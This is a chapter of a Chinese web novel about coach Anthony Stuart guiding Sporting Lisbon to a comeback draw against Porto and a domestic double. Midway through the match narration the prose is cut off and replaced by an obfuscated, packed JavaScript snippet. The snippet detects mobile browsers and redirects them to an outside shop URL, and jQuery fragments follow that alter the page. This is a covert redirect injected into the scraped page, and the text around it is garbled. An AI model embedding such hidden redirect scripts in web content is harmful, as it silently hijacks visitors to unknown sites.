奎西蒙是见过大世面的人，他笑眯眯道：“当年我们去土耳其对阵加拉塔萨雷，焰火、震天的鼓声、哨声和巨幅Tifo交织在一起，简直像是来到了地狱！” “这还只是五大联赛外的俱乐部，像是德国的多特蒙德、英格兰的利物浦，一个比一个疯狂，堪称是魔鬼主场。” 安东尼受教的点点头，他们的主场只能算是小巫见大巫里的小小巫。 不得不说，穆里尼奥为了获得联赛冠军，使出了全部的力量，就连两个边卫都是身形灵活、擅长前插的拼抢的球员，势要在上半场拿下一球。 安东尼选择这个阵容也是迫不得已，他早就料到了波尔图为了三分一定会拼尽全力，换做一般情况，他们打4-2-3-1，攻防平衡，其实是最合适的，奈何对手是平均实力比他们高出一截的波尔图。 而且还是连续两周没有赛事，养精蓄锐后的波尔图！ 反观他们自己，五天前刚刚和本菲卡对阵，就算是为了保存体力，没有大开大合进攻，一周两场高强度的赛事，对于稚嫩的里竞球员还是很难承受。 中场内，迭戈、乔安、罗德里戈拼命抵挡波尔图的锋线，拿球的本尼脚下灵敏，花活看得人眼花缭乱，突然向左冲刺，罗德里戈立刻变向，却被他耍了一遭，球被捅向斜前方，飞奔的德科接过球，继续向前突破，乔安和迭戈阻拦不及，被他直接冲开了。 情况不妙。 安东尼敏锐的察觉到自家的劣势，他们的防守确实不够坚固，中场身形差距太大，身体拼抢根本争不过，但光靠后卫，他不认为能守的住波尔图的轰炸。 第三十八分钟，波尔图19岁的前锋小将埃尔德接到队长德科的禁区传球，一记挑射，将球打进了里竞的大门。 竟然上半场就逆转了！ 球场瞬间爆发出一阵嘘声，里竞球迷倒是没灰心，高声呼喊加油。 安东尼神色一沉。 球进了不可怕，关键是信心不能散，节奏不能乱。 见球员状态不对，他立刻高举手臂，击掌示意所有人打起精神，见教练依旧面色沉稳，不改身上的强大气场，里竞全员渐渐镇定下来，重新找回防守节奏。 上半场最终以1：0，波尔图领先，结束了战斗。 有几人还没等进球员通道，直接脱下球衣，一行人稀稀拉拉回到更衣室。 安东尼从他们身后走到最前面，侧头叮嘱了一下队医，上半场后卫们身体对抗强度太大了，需要仔细检查有没有暗伤。 等一切安排完，安东尼抬起头，环顾四周，一张张如丧考妣的脸，忧愁实体化，差点溢出房间。 他突然笑了。 如此不合时宜的举动，让球员们惊呆了。 上半场他们打的再不好，也只是落后一球，总不至于把教练气疯吧！ 挥拒了卡希尔递来的湿毛巾，安东尼轻声道：“我真的很为你们感到自豪。” 自豪？ 球员们面面相觑，乔安和克里斯蒂亚诺交换了个眼神，肯定的点点头。 一定是讥讽！ “不是讥讽，”安东尼的目光掠过不省心二人组，说：“我只是想起了七个月前，那时候你们还只会依照教练的话踢球，专注自己对应的敌人，不过是一群散兵，可现在的你们已经拥有团魂了。” “我很高兴能看见你们通力合作，贡献出一场场精彩的比赛，我也必须说，我为你们骄傲。” 如此感性的话，惹得球员们内心悸动，脑中浮现出和教练、队友相处的点点滴滴，屋内隐约响起啜泣和鼻子抽吸的细声。 “别哭，孩子们，”安东尼声音像是天边的云朵一般温柔，“下半场，你们就继续这么踢，直到寻找到合适的机会，打出漂亮的反击。” “不要以为你们没有优势。” “既然波尔图仗着身体强壮，就卖力拼抢，那我们也可以利用这一点，利用主场优势。” 安东尼循循诱导，不少球员都露出了深思的表情，是啊，既然我们身单力薄，那被对面随便一碰，痛苦倒地不是很正常吗？ 克里斯蒂亚诺听得格外认真，脸上露出恍然大悟的神色。 要说俱乐部谁被铲球、被犯规最多，那必然是他，偏偏他每次都直愣愣的坐在地上，傻傻的看着自己的球跑远.....真是浪费了机会！ “波尔图也没你们想象的强大，”安东尼云淡风轻道：“就在几天前，穆里尼奥还会在晚上给我打骚扰电话，试图激怒我使用更具攻击性的战术。” “这足以说明他们不过是色厉内荏的草包！” “本菲卡为什么能赢他们，你们仔细观察，德科脚上的伤还没好，下半场一定会影响到他发挥的状态，他本身就是攻击型中场，要是我们上半场打的是攻势足球，和他们对攻不会有好处，反倒消耗体力，下半场也没了优势。” “但现在不一样了，我们的锋线体力充沛，而对方的攻击却变得疲软，下半场，必然会是我们的主场！” 一番分析，让灰心绝望的里竞球员重新燃起了心中的希望之火。 教练说的对啊！ 既然下半场优势在他们，那找机会轰进一个球难道还难吗？他们还年轻，有的是冲劲儿和体力！不像是德科伤痕累累，也不像是波尔图其他人.....他们已经老了！ 于是，当下半场球员重新亮相的时候，观众们就发现，所有里竞球员都顶着泛红的眼睛和鼻头，挺胸抬头，一副胜利在我的自信模样。 ....什么情况？ 就连一向喜欢吹捧安东尼的希莱姆，都忍不住恶意揣测道：“看来斯图亚特确实有暴君的血统在身上，上半场一球失利而已，居然把里竞球员骂的这么惨.....” 下半场一开始，观众发现里竞变得格外稳。 不管是争抢、传球、还是防守，球员们表现得像是练习赛一样游刃有余，不会因为失利而恼怒，只是一次次重来，决不放弃。 另外，观众们仔细观察，发现里竞球员还多了些.....演技。 被波尔图推搡、犯规倒地的时候，表情未免太夸张了点。 下半场开场二十五分钟，裁判已经罚出了一个角球和两个点球，那位葡萄牙的传奇门将维克托，扑球扑的汗流浃背，靠在门柱上把后卫们骂的狗血淋头，不得不收敛手脚。 安东尼脸色平静看着球场，如他所料，波尔图的中场开始显出疲态了。 几乎是在他发现问题的瞬间，穆里尼奥申请换人，用科斯蒂尼亚换下德科，身穿10号和36号球衣的球员在场边击掌，交换位置。 想要打防守战？ 安东尼挑了挑眉，心想，那正好，换他们攻击了。 “里斯本竞技这边也申请换人了，”希莱姆眼尖的看出了场边的球员，“28号的小将克里斯蒂亚诺，斯图亚特用他换下了菲利普，很明显是要开始进攻了。” “原本的5-3-2防守阵型，已经变成了4-3-3的攻击阵型，里斯本竞技的球员实在是太默契，换人一分钟，他们已经整理好了节奏，中场内，乔安将球传给了前场的罗德里戈，这是要组织第一次进攻了吗？！” 第二十六分钟，波尔图后卫豪尔迈一记滑铲，克里斯蒂亚诺瞬间倒地，奋力一捅，原本要滚向场外的球，朝禁区飞去。 在波尔图后卫里卡多拿球前，罗德里戈快速赶来，脚下不停， ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739420|207283||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 直接挑射打门，门将维克托艰难将球扑出，气喘吁吁起身。 阿尔贝托从锋线右路冲出来，截住球，一路狂奔，一边跑一边看着对面门将的位置，在波尔图后卫豪尔迈冲上来拼抢时，用肩膀抵住了他前进，将球从右脚换到左脚，后脚跟一挑，足球立刻飞向了斜前方。 足球在空中划出一道弧线，正在和里卡多对抗的克里斯蒂亚诺眼前一亮，奋力一跃，头球射门！ 门将维克托再次飞扑，指尖擦过足球，竟然没拦住！ “GOALLLLLL!!!！一记漂亮的头球！时机真的是刚刚好，多亏了新上场的28号小将，和为他助攻的阿尔贝托，里斯本竞技终于和波尔图打平了！” “要是继续保持这个平局分数，那么今年的联赛冠军，就非里斯本竞技莫属了！” 头球其实挺疼的。 克里斯蒂亚诺落地后，顶球的脑壳发麻，脑袋晕乎乎的，但依旧不妨碍他听见全场骤然响起的欢呼声。 队友从四面八方跑来，汗水挥洒落入草场，炙热的躯体挤压着他的胸膛，叽里呱啦的夸赞声不要钱一样涌入耳朵。 透过堆叠的人山，克里斯蒂亚诺一眼看到了场边的教练，颀长的身形似乎还和之前一样，淡定稳重。 直到看见第四官员走向男人，两人交谈了几句，西装革履的教练向后退了一步，克里斯蒂亚诺才反应过来——教练他越线了。 他居然越线了！ 因为自己的进球！ 少年忍不住露出一个灿烂的笑容，朝着看台挥了挥拳头，脸上满是骄傲自信的神态。 看台上顿时爆发出剧烈的欢呼声。 “能在联赛的最后一轮打入这么重要的进球,我们的小将显然非常兴奋，我想也是因为才17岁的他已经为自己赢得了前往五大联赛的门票，或许现在已经有豪门球队将他加进引援观察名单了.....” 希莱姆找补道：“当然，我更希望他能留在阿尔瓦拉德球场，这样未来我还能讲解更多他的精彩表现。” 看着屏幕上的克里斯蒂亚诺，一张漂亮的小脸眼下泛起红晕，露出了晕晕乎乎的笑容，希莱姆和许多观众，同时心里一软。 但一切还没结束！ 见比分拉平，穆里尼奥作出指示，让球员们发起猛攻，五分钟内接连换了两个球员，场上拼抢的节奏更快、更猛了。 球场宛如没有硝烟的战场，所有人对着一个足球发起攻势，围追拦截、放铲倒地、转身过人，黑白的球从禁区再次飞向中场，长传、短传，让人应接不暇。 场上的球员们各个汗流浃背，灰扑扑的脸上浮现出痛苦的表情，全场的跑动数据，已经达到了平均每人11.2公里，能继续踢下去，全靠一股顽强的意志。 要赢！ 进球！进球！进球！ 场下，替补席上的德科、佩德罗纷纷起身，手里攥着水瓶，眼睛一眨不眨看着场上滚动的小球。 球来到了里竞的前场，这是波尔图的机会球！ 前锋本尼和莫尔德向前狂奔，里竞后卫安德烈、贝托、鲁伊拼命回追，几人绊在一起，脚下灵活夺球，禁区陷入混战，最终，本尼转向不及，将球踢出了界外。 “哔哔——” 加时赛结束了。 演播厅里，希莱姆腾的一下站起身，大喊道：“联赛冠军诞生了！让我们恭喜里斯本竞技，以2分之差成功战胜豪门老大哥波尔图，获得联赛冠军！！！” “另外，也让我们恭喜里斯本竞技获得本赛季的杯赛、联赛冠军，成为名副其实的双冠王！” 倒计时结束的那一刻，站在白线上的男人终于忍不住吹了个口哨。 他们是冠军！他们是双冠王！ 安东尼扯了扯领带，露出白皙的皮肤，身体里的热意这才缓解了一些。 但这还不够！ 男人甩了甩头，脱下西装外套，在万千观众的惊呼声中，大屏幕上，一只骨节分明的手贴上脖颈，指尖轻挑，解落衬衫纽扣，T恤的白边在胸前若隐若现。 观众嗤了一声，表情难掩失望。 球场上，里斯本竞技的球员们化作追风少年，胳膊指向天际，绿白色队服衣角飞扬，用一声声怒吼，吼出了所有豪迈壮志的激情。 看台上，五万多名里竞球迷热泪盈眶。 连续六年无冠，虽然挂着豪门的名号，却落魄的可怜，每年俱乐部投入的转会费少之又少，有能力的球员一个接一个离开，联赛初期排名第五，眼看今年球队又是表现平平，球迷们心里发苦，但也只能接受现实——俱乐部终有日薄西山的一天。 可谁知道，半路接收球队的斯图亚特竟然带他们重新回到了巅峰，回到了那个所向披靡的七八十年代！ 时隔二十年，他们再次拿到了双冠王！ 这不仅荣誉，更是奇迹，重新燃起了所有里竞人的希望之火。 不知道是谁先开始的，看台上零零散散的呼喊着，最终汇聚成了同一道声音，浩瀚如潮。 “斯图亚特，BSETCOACH！” “斯图亚特，BESTCOACH！！！” 在沸腾的人声中，安东尼仰起头。 目光所及，到处是一片专门向他献礼的绿色人海。 男人举起双手，用力挥了挥，虔诚的献出一个回吻。 哪怕岁月年华流逝，球迷们也难以忘却：一个名为安东尼.斯图亚特的男人，曾给他们带来了一个如梦似幻的夏天。